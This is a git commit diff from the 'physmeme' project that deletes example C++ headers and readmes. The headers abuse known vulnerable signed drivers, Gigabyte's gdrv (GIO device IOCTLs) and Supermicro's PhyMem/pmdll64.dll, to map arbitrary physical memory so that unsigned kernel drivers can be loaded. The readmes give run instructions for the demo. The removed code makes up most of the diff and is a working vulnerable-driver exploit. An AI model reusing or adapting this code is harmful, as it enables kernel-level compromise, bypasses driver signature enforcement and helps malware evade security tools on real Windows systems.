xerox
4 years ago
parent
aec811a19d
commit
cef765b7af
@ -1,6 +0,0 @@
|
||||
<img src="https://imgur.com/5nVod4I.png"/>
|
||||
|
||||
### gdrv
|
||||
|
||||
This driver has been exploited before by many people. This is just an example of using it with physmeme. If you want to use this driver with physmeme, simply replace `physmeme.hpp`
|
||||
with this one. :)
|
||||
Binary file not shown.
Binary file not shown.
@ -1,92 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <mutex>
|
||||
#include <cstdint>
|
||||
#include <map>
|
||||
|
||||
#include "../util/util.hpp"
|
||||
#include "../loadup.hpp"
|
||||
#include "../raw_driver.hpp"
|
||||
|
||||
#pragma pack ( push, 1 )
|
||||
typedef struct _GIOMAP
|
||||
{
|
||||
unsigned long interface_type;
|
||||
unsigned long bus;
|
||||
std::uintptr_t physical_address;
|
||||
unsigned long io_space;
|
||||
unsigned long size;
|
||||
} GIOMAP;
|
||||
#pragma pack ( pop )
|
||||
|
||||
namespace physmeme
|
||||
{
|
||||
inline std::string drv_key;
|
||||
|
||||
//
|
||||
// please code this function depending on your method of physical read/write.
|
||||
//
|
||||
inline HANDLE load_drv()
|
||||
{
|
||||
const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver));
|
||||
drv_key = key;
|
||||
|
||||
return CreateFile(
|
||||
"\\\\.\\GIO",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
//
|
||||
// please code this function depending on your method of physical read/write.
|
||||
//
|
||||
inline bool unload_drv()
|
||||
{
|
||||
return driver::unload(drv_key);
|
||||
}
|
||||
|
||||
inline HANDLE drv_handle = load_drv();
|
||||
|
||||
//
|
||||
// please code this function depending on your method of physical read/write.
|
||||
//
|
||||
inline std::uintptr_t map_phys(
|
||||
std::uintptr_t addr,
|
||||
std::size_t size
|
||||
)
|
||||
{
|
||||
//--- ensure the validity of the address we are going to try and map
|
||||
if (!util::is_valid(addr))
|
||||
return NULL;
|
||||
|
||||
GIOMAP in_buffer = { 0, 0, addr, 0, size };
|
||||
uintptr_t out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
|
||||
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
|
||||
return out_buffer[0];
|
||||
|
||||
}
|
||||
|
||||
//
|
||||
// please code this function depending on your method of physical read/write.
|
||||
//
|
||||
inline bool unmap_phys(
|
||||
std::uintptr_t addr,
|
||||
std::size_t size
|
||||
)
|
||||
{
|
||||
uintptr_t in_buffer = addr;
|
||||
uintptr_t out_buffer[2] = {sizeof(out_buffer)};
|
||||
|
||||
unsigned long returned = NULL;
|
||||
DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
|
||||
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
|
||||
return out_buffer[0];
|
||||
}
|
||||
}
|
||||
@ -1,15 +0,0 @@
|
||||
# Warning
|
||||
|
||||
This demo works on Windows 10-1909 and below, after 1909 physmeme.sys isnt supported view: [PFN_LIST_CORRUPT](https://githacks.org/xerox/physmeme/issues/2).
|
||||
|
||||
# Demo
|
||||
|
||||
simply open a console as admin, run "physmeme.exe hello-world.sys" and you should see a DbgPrint inside of dbgview.
|
||||
|
||||
- pmdll64.dll is part of a supermicro bios flashing utility
|
||||
- physmem64.sys is part of a supermicro bios flashing utility
|
||||
- hello-world.sys just prints the base address and size of the driver :)
|
||||
|
||||
|
||||
|
||||
Code for hello-world.sys: [https://githacks.org/xerox/physmeme/issues/1#note_37](https://githacks.org/xerox/physmeme/issues/1#note_37)
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -1,69 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <mutex>
|
||||
#include <cstdint>
|
||||
#include <map>
|
||||
|
||||
namespace physmeme
|
||||
{
|
||||
/*
|
||||
please code this function depending on your method of physical read/write.
|
||||
*/
|
||||
inline std::uintptr_t map_phys(
|
||||
std::uintptr_t addr,
|
||||
std::size_t size
|
||||
)
|
||||
{
|
||||
//--- ensure the validity of the address we are going to try and map
|
||||
if (!is_valid(addr))
|
||||
return NULL;
|
||||
|
||||
static const auto map_phys_ptr =
|
||||
reinterpret_cast<__int64(__fastcall*)(__int64, unsigned)>(
|
||||
GetProcAddress(LoadLibrary("pmdll64.dll"), "MapPhyMem"));
|
||||
return map_phys_ptr ? map_phys_ptr(addr, size) : false;
|
||||
}
|
||||
|
||||
/*
|
||||
please code this function depending on your method of physical read/write.
|
||||
*/
|
||||
inline bool unmap_phys(
|
||||
std::uintptr_t addr,
|
||||
std::size_t size
|
||||
)
|
||||
{
|
||||
static const auto unmap_phys_ptr =
|
||||
reinterpret_cast<__int64(*)(__int64, unsigned)>(
|
||||
GetProcAddress(LoadLibrary("pmdll64.dll"), "UnmapPhyMem"));
|
||||
return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false;
|
||||
}
|
||||
|
||||
/*
|
||||
please code this function depending on your method of physical read/write.
|
||||
*/
|
||||
inline HANDLE load_drv()
|
||||
{
|
||||
static const auto load_driver_ptr =
|
||||
reinterpret_cast<__int64(*)()>(
|
||||
GetProcAddress(LoadLibrary("pmdll64.dll"), "LoadPhyMemDriver"));
|
||||
|
||||
if (load_driver_ptr)
|
||||
load_driver_ptr();
|
||||
|
||||
//--- i dont ever use this handle, its just an example of what you should do.
|
||||
return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64);
|
||||
}
|
||||
|
||||
/*
|
||||
please code this function depending on your method of physical read/write.
|
||||
*/
|
||||
inline bool unload_drv()
|
||||
{
|
||||
static const auto unload_driver_ptr =
|
||||
reinterpret_cast<__int64(*)()>(
|
||||
GetProcAddress(LoadLibrary("pmdll64.dll"), "UnloadPhyMemDriver"));
|
||||
return unload_driver_ptr ? unload_driver_ptr() : false;
|
||||
}
|
||||
|
||||
inline HANDLE drv_handle = load_drv();
|
||||
}
|
||||
Binary file not shown.
@ -1,8 +1,9 @@
|
||||
#pragma once
|
||||
#include <vector>
|
||||
#include <Windows.h>
|
||||
|
||||
namespace physmeme
|
||||
{
|
||||
bool __cdecl map_driver(std::vector<std::uint8_t>& raw_driver);
|
||||
bool __cdecl map_driver(std::uint8_t * image, std::size_t size);
|
||||
NTSTATUS __cdecl map_driver(std::vector<std::uint8_t>& raw_driver);
|
||||
NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size);
|
||||
}
|
||||
Loading…
Reference in new issue